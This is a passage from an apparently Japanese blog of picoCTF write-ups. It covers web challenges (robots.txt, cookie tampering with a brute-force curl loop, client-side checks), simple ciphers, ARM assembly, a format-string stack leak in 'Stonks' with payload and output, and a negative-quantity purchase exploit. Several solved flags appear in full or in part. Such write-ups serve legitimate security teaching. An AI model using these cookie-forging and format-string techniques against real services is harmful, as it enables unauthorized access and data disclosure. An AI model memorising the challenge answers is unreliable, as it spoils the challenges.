decrypted_flag: ©¸“¸¹s“t{¨y§t|}v§uxw|¨v¦wvztt©|w¨§v¦t©y
decrypted_flag: ˜§‚§¨b‚cj—h–ckle–dgfk—e•feicc˜kf—–e•c˜h
decrypted_flag: ‡–q–—QqRY†W…RZ[T…SVUZ†T„UTXRR‡ZU†…T„R‡W
decrypted_flag: v…`…†@`AHuFtAIJCtBEDIuCsDCGAAvIDutCsAvF
decrypted_flag: et_tu?_07d5c0892c1438d2b32600e83dc2b0e5
decrypted_flag: TcNcd.N/&S$R/'(!R #"'S!Q"!%//T'"SR!Q/T$
decrypted_flag: CR=RS=BAAB@CBA@C

フラグはet_tu?_07d5c0892c1438d2b32600e83dc2b0e5

where are the robots (100points)

Webサイト https://jupiter.challenges.picoctf.org/problem/36474/ を解析してフラグを取得する問題。

robots.txt にアクセスしてみた。

$ curl -i https://jupiter.challenges.picoctf.org/problem/36474/robots.txt
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Aug 2022 15:02:51 GMT
Content-Type: text/plain
Content-Length: 36
Connection: keep-alive
Last-Modified: Mon, 26 Oct 2020 18:42:05 GMT
Strict-Transport-Security: max-age=0

User-agent: *
Disallow: /477ce.html

https://jupiter.challenges.picoctf.org/problem/36474/477ce.html にフラグが記載されていた。

vault-door-1 (100points)

以下のJavaのソースコードを解読してフラグを取得する問題。

import java.util.*;

class VaultDoor1 {
    public static void main(String args[]) {
        VaultDoor1 vaultDoor = new VaultDoor1();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
	String userInput = scanner.next();
	String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
	if (vaultDoor.checkPassword(input)) {
	    System.out.println("Access granted.");
	} else {
	    System.out.println("Access denied!");
	}
    }

    // I came up with a more secure way to check the password without putting
    // the password itself in the source code. I think this is going to be
    // UNHACKABLE!! I hope Dr. Evil agrees...
    //
    // -Minion #8728
    public boolean checkPassword(String password) {
        return password.length() == 32 &&
               password.charAt(0)  == 'd' &&
               password.charAt(29) == '3' &&
               password.charAt(4)  == 'r' &&
               password.charAt(2)  == '5' &&
               password.charAt(23) == 'r' &&
               password.charAt(3)  == 'c' &&
               password.charAt(17) == '4' &&
               password.charAt(1)  == '3' &&
               password.charAt(7)  == 'b' &&
               password.charAt(10) == '_' &&
               password.charAt(5)  == '4' &&
               password.charAt(9)  == '3' &&
               password.charAt(11) == 't' &&
               password.charAt(15) == 'c' &&
               password.charAt(8)  == 'l' &&
               password.charAt(12) == 'H' &&
               password.charAt(20) == 'c' &&
               password.charAt(14) == '_' &&
               password.charAt(6)  == 'm' &&
               password.charAt(24) == '5' &&
               password.charAt(18) == 'r' &&
               password.charAt(13) == '3' &&
               password.charAt(19) == '4' &&
               password.charAt(21) == 'T' &&
               password.charAt(16) == 'H' &&
               password.charAt(27) == 'f' &&
               password.charAt(30) == 'b' &&
               password.charAt(25) == '_' &&
               password.charAt(22) == '3' &&
               password.charAt(28) == '6' &&
               password.charAt(26) == 'f' &&
               password.charAt(31) == '0';
    }
}

ハードコードされているフラグを正しい順番に並べ替えるだけ。

以下のPythonスクリプトを書いてフラグを取得した。

dummy_data = 'a' * 32
unscrambled_flag_list = []

for i in dummy_data:
	unscrambled_flag_list.append(i)

unscrambled_flag_list[0]  = 'd' 
unscrambled_flag_list[29] = '3' 
unscrambled_flag_list[4]  = 'r' 
unscrambled_flag_list[2]  = '5' 
unscrambled_flag_list[23] = 'r' 
unscrambled_flag_list[3]  = 'c' 
unscrambled_flag_list[17] = '4' 
unscrambled_flag_list[1]  = '3' 
unscrambled_flag_list[7]  = 'b' 
unscrambled_flag_list[10] = '_' 
unscrambled_flag_list[5]  = '4' 
unscrambled_flag_list[9]  = '3' 
unscrambled_flag_list[11] = 't' 
unscrambled_flag_list[15] = 'c' 
unscrambled_flag_list[8]  = 'l' 
unscrambled_flag_list[12] = 'H' 
unscrambled_flag_list[20] = 'c' 
unscrambled_flag_list[14] = '_' 
unscrambled_flag_list[6]  = 'm' 
unscrambled_flag_list[24] = '5' 
unscrambled_flag_list[18] = 'r' 
unscrambled_flag_list[13] = '3' 
unscrambled_flag_list[19] = '4' 
unscrambled_flag_list[21] = 'T' 
unscrambled_flag_list[16] = 'H' 
unscrambled_flag_list[27] = 'f' 
unscrambled_flag_list[30] = 'b' 
unscrambled_flag_list[25] = '_' 
unscrambled_flag_list[22] = '3' 
unscrambled_flag_list[28] = '6' 
unscrambled_flag_list[26] = 'f' 
unscrambled_flag_list[31] = '0'	

unscrambled_flag = ''

for i in unscrambled_flag_list:
	unscrambled_flag += i
print(unscrambled_flag)
$ python3 unscramble-flag.py 
d35cr4mbl3_tH3_cH4r4cT3r5_ff63b0

what's a net cat? (100points)

netcatでサーバーに接続するだけでフラグを取得できる。

nc jupiter.challenges.picoctf.org 64287

strings it (100points)

渡されたELFファイルにstringsをかけたらフラグを取得できた。

strings strings | grep -i pico

Easy1 (100points)

暗号化されたフラグを復号する問題。暗号化されたフラグ、鍵、変換表を渡される。

  • 暗号化されたフラグ: UFJKXQZQUNB
  • 鍵: SOLVECRYPTO

以下は暗号化に使用された変換表。

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

左の列が鍵、最上段の行が平文を現す。

後は鍵SOLVECRYPTOを元に変換表に従って暗号文UFJKXQZQUNBを平文に戻すだけ。

CRYPTOISFUN

ARMssembly 2 (90points)

以下のARMアセンブリ命令を解読してフラグを取得する問題。

	.arch armv8-a
	.file	"chall_2.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	sub	sp, sp, #32
	str	w0, [sp, 12]
	str	wzr, [sp, 24]
	str	wzr, [sp, 28]
	b	.L2
.L3:
	ldr	w0, [sp, 24]
	add	w0, w0, 3
	str	w0, [sp, 24]
	ldr	w0, [sp, 28]
	add	w0, w0, 1
	str	w0, [sp, 28]
.L2:
	ldr	w1, [sp, 28]
	ldr	w0, [sp, 12]
	cmp	w1, w0
	bcc	.L3
	ldr	w0, [sp, 24]
	add	sp, sp, 32
	ret
	.size	func1, .-func1
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	bl	func1
	str	w0, [x29, 44]
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	ldr	w1, [x29, 44]
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

上記のプログラムに引数として3736234946 を渡した場合に出力される整数を答えよとのこと。

解読してコメントを入れてみた。

	.arch armv8-a
	.file	"chall_2.c"
	.text
	.align	2
	.global	func1
	.type	func1, %function
func1:
	sub	sp, sp, #32
	str	w0, [sp, 12]  // store the value of w0 to stack+12 (store the arg to stack+12)
	str	wzr, [sp, 24] // store the value of wzr to stack+24 
	str	wzr, [sp, 28] // store the value of wzr to stack+28
	b	.L2           // jump to L2
.L3:
	ldr	w0, [sp, 24]  // loads the value of stack+24 to w0
	add	w0, w0, 3     // add 3 to w0
	str	w0, [sp, 24]  // store the value of w0 to stack+24 (value at stack+24 increases by 3)
	ldr	w0, [sp, 28]  // loads the value of stack+28 to w0
	add	w0, w0, 1     // add 1 to w0
	str	w0, [sp, 28]  // store the value of w0 to stack+28 (value at stack+28 is a loop counter)
.L2:
	ldr	w1, [sp, 28] // loads the value of stack+28 to w1
	ldr	w0, [sp, 12] // loads the value of stack+12 to w0
	cmp	w1, w0       // compare w1 and w0 (compare loop counter and arg)
	bcc	.L3          // jump to L3 if w1 is smaller than w0
	ldr	w0, [sp, 24] // loads the value of stack+24 to w0
	add	sp, sp, 32
	ret
	.size	func1, .-func1
	.section	.rodata
	.align	3
.LC0:
	.string	"Result: %ld\n"
	.text
	.align	2
	.global	main
	.type	main, %function
main:
	stp	x29, x30, [sp, -48]!
	add	x29, sp, 0
	str	w0, [x29, 28]
	str	x1, [x29, 16]
	ldr	x0, [x29, 16]
	add	x0, x0, 8
	ldr	x0, [x0]
	bl	atoi
	bl	func1
	str	w0, [x29, 44]
	adrp	x0, .LC0
	add	x0, x0, :lo12:.LC0
	ldr	w1, [x29, 44]
	bl	printf
	nop
	ldp	x29, x30, [sp], 48
	ret
	.size	main, .-main
	.ident	"GCC: (Ubuntu/Linaro 7.5.0-3ubuntu1~18.04) 7.5.0"
	.section	.note.GNU-stack,"",@progbits

プログラムの処理内容は以下の通り。

  1. 引数に渡された整数はループのカウンタに利用される。
  2. 整数を3ずつ加算する。(初期値は0)
  3. ループが終了するとResult: というメッセージとともに加算した値を出力する。

アセンブリをPythonコードに置き換えて実行した。

i = 0
j = 0

while (i < 3736234946):
	j += 3
	i += 1

with open('flag.txt', 'w') as fout:
	fout.write(str(j))
# python3 pseudo-code.py &
[1] 17755

# cat flag.txt 
11208704838

フラグは11208704838。あとは問題文の指示通り11208704838を小文字の16進数に変換して(0xは含めないかつ32ビット形式) picoCTF{XXXXXXXX}に埋め込めば良い。(変換すると5バイトになるので、先頭の1バイトを削除してフラグを送信しないといけない。)

>>> hex(11208704838)

Cookies (40points)

Webサイト http://mercury.picoctf.net:29649/ を解析してフラグを取得する問題。

サイトにアクセスするとnameという名前のクッキーが付与される。このクッキーの値は-1となっていた。

GET / HTTP/1.1
Host: mercury.picoctf.net:29649
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 209
Location: http://mercury.picoctf.net:29649/
Set-Cookie: name=-1; Path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/">/</a>.  If not click the link.

試しにnameクッキーの値を-1から1に変更してサイトにリクエストを送ってみた。

curl -i -s http://mercury.picoctf.net:29649 -H "Cookie: name=1"

するとhttp://mercury.picoctf.net:29649/checkというURLにリダイレクトされることが分かった。

$ curl -i -s http://mercury.picoctf.net:29649 -H "Cookie: name=1"
HTTP/1.1 302 FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 219
Location: http://mercury.picoctf.net:29649/check

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to target URL: <a href="/check">/check</a>.  If not click the link.

nameクッキーの値に1を設定してhttp://mercury.picoctf.net:29649/checkにリクエストを送ってみるとI love chocolate chip cookies! というメッセージをレスポンスの中に見つけた。

curl -i -s http://mercury.picoctf.net:29649/check -H "Cookie: name=1"
$ curl -i -s http://mercury.picoctf.net:29649/check -H "Cookie: name=1"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1780
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Cookies</title>

-- snipped --

<p style="text-align:center; font-size:30px;"><b>I love chocolate chip cookies!</b></p>

I love chocolate chip cookies! がフラグなのかと思ったが違った。

色々いじっているうちに、nameクッキーの数値を変更するとレスポンスのメッセージが変化することが分かった。

以下はnameクッキーの値に0を設定してhttp://mercury.picoctf.net:29649/checkにリクエストを送信した際の様子。レスポンスのメッセージがI love chocolate chip cookies!からI love snickerdoodle cookies!に変化している。

curl -i -s http://mercury.picoctf.net:29649/check -H "Cookie: name=0"
$ curl -i -s http://mercury.picoctf.net:29649/check -H "Cookie: name=0"
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1779
Set-Cookie: session=; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/

<!DOCTYPE html>
<html lang="en">

<head>
    <title>Cookies</title>

-- snipped --

<p style="text-align:center; font-size:30px;"><b>I love snickerdoodle cookies!</b></p>

name クッキーの数値を手当たり次第に変えてhttp://mercury.picoctf.net:29649/checkにリクエストを送信すればフラグを取れるのではと当たりをつけて、以下のスクリプトを書いて実行したところ、nameクッキーの値に18が設定されていた場合にフラグを応答することが分かった。

#!/bin/bash

for i in {0..100};
	do
		echo "Cookie name=$i"
		curl -i -s http://mercury.picoctf.net:29649/check -H "Cookie: name=$i" | grep -i "picoCTF{"
		echo
	done
$ ./Cookie-stealer.sh 
Cookie name=0

Cookie name=1

Cookie name=2

Cookie name=3

Cookie name=4

Cookie name=5

Cookie name=6

Cookie name=7

Cookie name=8

Cookie name=9

Cookie name=10

Cookie name=11

Cookie name=12

Cookie name=13

Cookie name=14

Cookie name=15

Cookie name=16

Cookie name=17

Cookie name=18
            <p style="text-align:center; font-size:30px;"><b>Flag</b>: <code>picoCTF{-- snipped --}</code></p

logon (100points)

Webサイトhttps://jupiter.challenges.picoctf.org/problem/13594/を解析してフラグを取得する問題。

サイトにアクセスするとadminという名前のクッキーを付与されることが分かった。adminクッキーの値をTrueに設定してリクエストを送信したらフラグを取れた。

curl -s -i https://jupiter.challenges.picoctf.org/problem/13594/flag -H "Cookie: admin=True" | grep -i picoCTF

13 (100points)

以下の暗号化されたフラグを復号する問題。

cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

渡されたフラグをROT13デコードすればフラグを取れる。CyberChefを使ってデコードした。

caesar (100points)

以下の暗号化されたフラグを復号する問題。

picoCTF{dspttjohuifsvcjdpoabrkttds}

フラグの暗号化には換字式暗号が用いられている。アルファベットを1文字前にずらすとフラグを復号できる。(CyberChefでデコードする場合はROT13を選択してAmountに25と設定する。)

dont-use-client-side (100points)

Webサイト https://jupiter.challenges.picoctf.org/problem/37821/を解析してフラグを取得する問題。

サイトのソースコードを確認したところ、以下のJavaScriptにフラグがハードコードされていた。

  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == 'a3c8') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_1') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == '9}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
    
  }

ハードコードされているフラグを正しい順番に並べ替えるだけ。

Bases (100points)

Base64エンコードされたフラグをデコードするだけ。

echo bDNhcm5fdGgzX3IwcDM1 | base64 -D

First Grep (100points)

テキストファイルからフラグをgrepするだけ。

grep -i picoCTF file

Stonks (20points)

遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。サーバーへは以下のnetcatコマンドで接続する。

nc mercury.picoctf.net 6989
$ nc mercury.picoctf.net 6989
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
hoge
Buying stonks with token:
hoge
Portfolio as of Sun Sep  4 07:37:37 UTC 2022


2 shares of U
1 shares of X
17 shares of ZW
1 shares of LW
36 shares of BFGY
7 shares of HE
38 shares of TUQL
321 shares of TCXF
424 shares of VDHB
509 shares of VN
Goodbye!

この問題ではプログラムのソースコードも配布される。以下は配布されたソースコード。

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

ソースコードを眺めたところ、buy_stonks関数の中 (93行目) に書式文字列攻撃の脆弱性を発見した。

printf(user_buf);

以下は、プログラムに対して書式文字列攻撃を行なった際の様子。

$ nc mercury.picoctf.net 6989
Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Buying stonks with token:
AAAA0xa04b3b0,0x804b000,0x80489c3,0xf7faad80,0xffffffff,0x1,0xa049160,0xf7fb8110,0xf7faadc7,(nil),0xa04a180,0x9,0xa04b390,0xa04b3b0,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x35386130,0x32356533,0xffbe007d,0xf7fe5af8,0xf7fb8440,0x70cba100,0x1,(nil),0xf7e47ce9,0xf7fb90c0,0xf7faa5c0

入力値としてAAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p を渡したところ、%pが書式文字列として扱われ、スタック上の値が読み出された。

さらにbuy_stonks関数を精査したところ、以下のコード (66~72行目)を発見した。

	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

これにより、buy_stonks関数が呼び出されるとapiという名前のファイルからフラグがスタック上に読み出されることが分かった。

もう一度、先ほどの書式文字列攻撃の出力結果を見てみると、フラグがHex形式で読み出されていることが分かる。

AAAA0xa04b3b0,0x804b000,0x80489c3,0xf7faad80,0xffffffff,0x1,0xa049160,0xf7fb8110,0xf7faadc7,(nil),0xa04a180,0x9,0xa04b390,0xa04b3b0,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x35386130,0x32356533,0xffbe007d,0xf7fe5af8,0xf7fb8440,0x70cba100,0x1,(nil),0xf7e47ce9,0xf7fb90c0,0xf7faa5c0

上記の15番目の値0x6f636970をHexデコードするとpicoという文字列になる。(バイト・オーダーがリトルエンディアンなのでrevコマンドで反転させている)

echo 6f636970 | xxd -r -p | rev
pico

15番目以降の値をそれぞれHexデコードしたところフラグを取れた。

echo 6f636970 | xxd -r -p | rev
pico

echo 7b465443 | xxd -r -p | rev
CTF{

echo 306c5f49 | xxd -r -p | rev
I_l0

echo 345f7435 | xxd -r -p | rev
5t_4

echo 6d5f6c6c | xxd -r -p | rev
ll_m

echo 306d5f79 | xxd -r -p | rev
y_m0

echo 5f79336e | xxd -r -p | rev
n3y_

echo 35386130 | xxd -r -p | rev
0a85

echo 32356533 | xxd -r -p | rev
3e52

echo ffbe007d | xxd -r -p
??}

Mind your Ps and Qs (20points)

RSA暗号化されたフラグを復号する問題。

以下の値を元にフラグを復号する。

Decrypt my super sick RSA:
c: 861270243527190895777142537838333832920579264010533029282104230006461420086153423
n: 1311097532562595991877980619849724606784164430105441327897358800116889057763413423
e: 65537

以下のサイトにCとNとEの値を入力したところ、フラグを復号できた。

https://www.dcode.fr/rsa-cipher

ちなみにNの値が十分に大きくない場合、ツール等を用いて、短時間でNを素因数分解してRSA暗号化されたデータを復号することが出来る。詳しくはこちらの記事を参照。

Shop (50points)

遠隔のサーバー上で実行されているプログラムを解析してフラグを取得する問題。サーバーへは以下のnetcatコマンドで接続する。

nc mercury.picoctf.net 10337

また、この問題ではサーバー上で実行されているプログラムのバイナリファイル (32ビットのELFファイル) も提供される。

サーバーに接続すると、以下のように購入したい品目と個数を聞かれる。各品目には値段が設定されており、ユーザーの初回の所持コインは40コインである。

$ nc mercury.picoctf.net 10337
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit

試しにQuiet Quichesを1個購入してみた。Quiet Quichesは1個につき10コインである。購入が完了すると所持コインが40コインから30コインになった。

$ nc mercury.picoctf.net 10337
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
0
How many do you want to buy?
1
You have 30 coins
	Item		Price	Count
(0) Quiet Quiches	10	11
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 

続いてフラグに関連していると思われるFruitful Flagを購入しようとしてみたが、所持コインが足りず購入できなかった。(Fruitful Flagは1個につき100コイン)

$ nc mercury.picoctf.net 10337
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
2
How many do you want to buy?
1
Not enough money.

提供されたバイナリファイルを調べてみたところ、main_get_flag (アドレス 0x080D4440) という関数を発見した。Fruitful Flagが品目として選択されると、この関数が呼び出される。

.text:080D3EBF                         loc_80D3EBF:            ; (2) Fruitful Flag
.text:080D3EBF 89 6C 24 24             mov     [esp+0A0h+var_7C], ebp
.text:080D3EC3 E8 78 05 00 00          call    main_get_flag

購入の条件を満たしていればflag.txtというファイルからフラグが読み出される模様。

.text:080D4456 83 EC 44                sub     esp, 44h
.text:080D4459 8D 05 83 D6 0F 08       lea     eax, filename
.text:080D445F 89 04 24                mov     [esp+44h+filename.str], eax ; filename flag.txt
.text:080D4462 C7 44 24 04 08 00 00 00 mov     [esp+44h+filename.len], 8
.text:080D446A E8 D1 EB FF FF          call    io_ioutil_ReadFile ; reads the contents of the file flag.txt

つまり、どうにかして所持コインを100コイン以上に増やしてFruitful Flagを購入すればフラグが取れるということである。

色々と入力値をいじっていると、品目を購入するときの個数に負の数を指定すると所持コインが減るどころか、増えることが分かった。

以下はQuiet Quichesを-1個購入した際の様子。購入後に所持コインが40コインから50コインに増えていることが確認できる。

$ nc mercury.picoctf.net 10337
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
0
How many do you want to buy?
-1
You have 50 coins
	Item		Price	Count
(0) Quiet Quiches	10	13
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 

この要領でQuiet Quichesを-6個購入すれば元々の所持コイン40 + 60で100コインとなり、Fruitful Flagを購入できそう。

実際にQuiet Quichesを-6個購入した後にFruitful Flagを購入したところ、フラグが読み出された。

$ nc mercury.picoctf.net 10337
Welcome to the market!
=====================
You have 40 coins
	Item		Price	Count
(0) Quiet Quiches	10	12
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
0
How many do you want to buy?
-6
You have 100 coins
	Item		Price	Count
(0) Quiet Quiches	10	18
(1) Average Apple	15	8
(2) Fruitful Flag	100	1
(3) Sell an Item
(4) Exit
Choose an option: 
2
How many do you want to buy?
1
Flag is:  [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 51 100 97 51 52 97 56 102 125]

あとは上記のフラグをデコードするだけ。

>>> mylist = "112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 51 100 97 51 52 97 56 102 125"
>>> mylist = mylist.split(' ')
>>> flag = ''
>>> for i in mylist:
...     flag += chr(int(i))
>>> print(flag)

Trivial Flag Transfer Protocol (90points)

PCAPを解析してフラグを取得する問題。

tftp.pcapngというPCAPを渡される。Wiresharkで開くと、ファイル名が示す通りTFTPの通信がキャプチャされていた。

以下の6つのファイルをPCAPから抽出することが出来た。(WiresharkのFileメニューより、Export Objects -> TFTP で抽出した)

picture1.bmppicture3.bmpはビットマップ画像ファイルで、picture2.bmpは正体不明のデータファイルだった。

instructions.txtには以下のテキストデータが記述されていた。

GSGCQBRFAGRAPELCGBHEGENSSVPFBJRZHFGQVFTHVFRBHESYNTGENAFSRE.SVTHERBHGNJNLGBUVQRGURSYNTNAQVJVYYPURPXONPXSBEGURCYNA

またplanには以下のテキストデータが記述されていた。

VHFRQGURCEBTENZNAQUVQVGJVGU-QHRQVYVTRAPR.PURPXBHGGURCUBGBF

instructions.txtplanのテキストデータはROT13暗号が施されており、復号すると以下のメッセージが現れた。(読みやすいように適宜空白を入れてある)

TFTP DOESNT ENCRYPT OUR TRAFFIC SO WE MUST DISGUISE OUR FLAG TRANSFER. FIGURE OUT A WAY TO HIDE THE FLAG AND I WILL CHECKBACK FOR THE PLAN
I USED THE PROGRAM AND HID IT WITH-DUE DILIGENCE. CHECK OUT THE PHOTOS

上記のメッセージによると、何らかのプログラムを用いてフラグを隠したとのこと。

残りのファイルのprogram.debはtarファイルだった。解凍すると (tar -xf program.deb) 以下の3つのファイルが現れた。

control.tar.gz
data.tar.xz
debian-binary

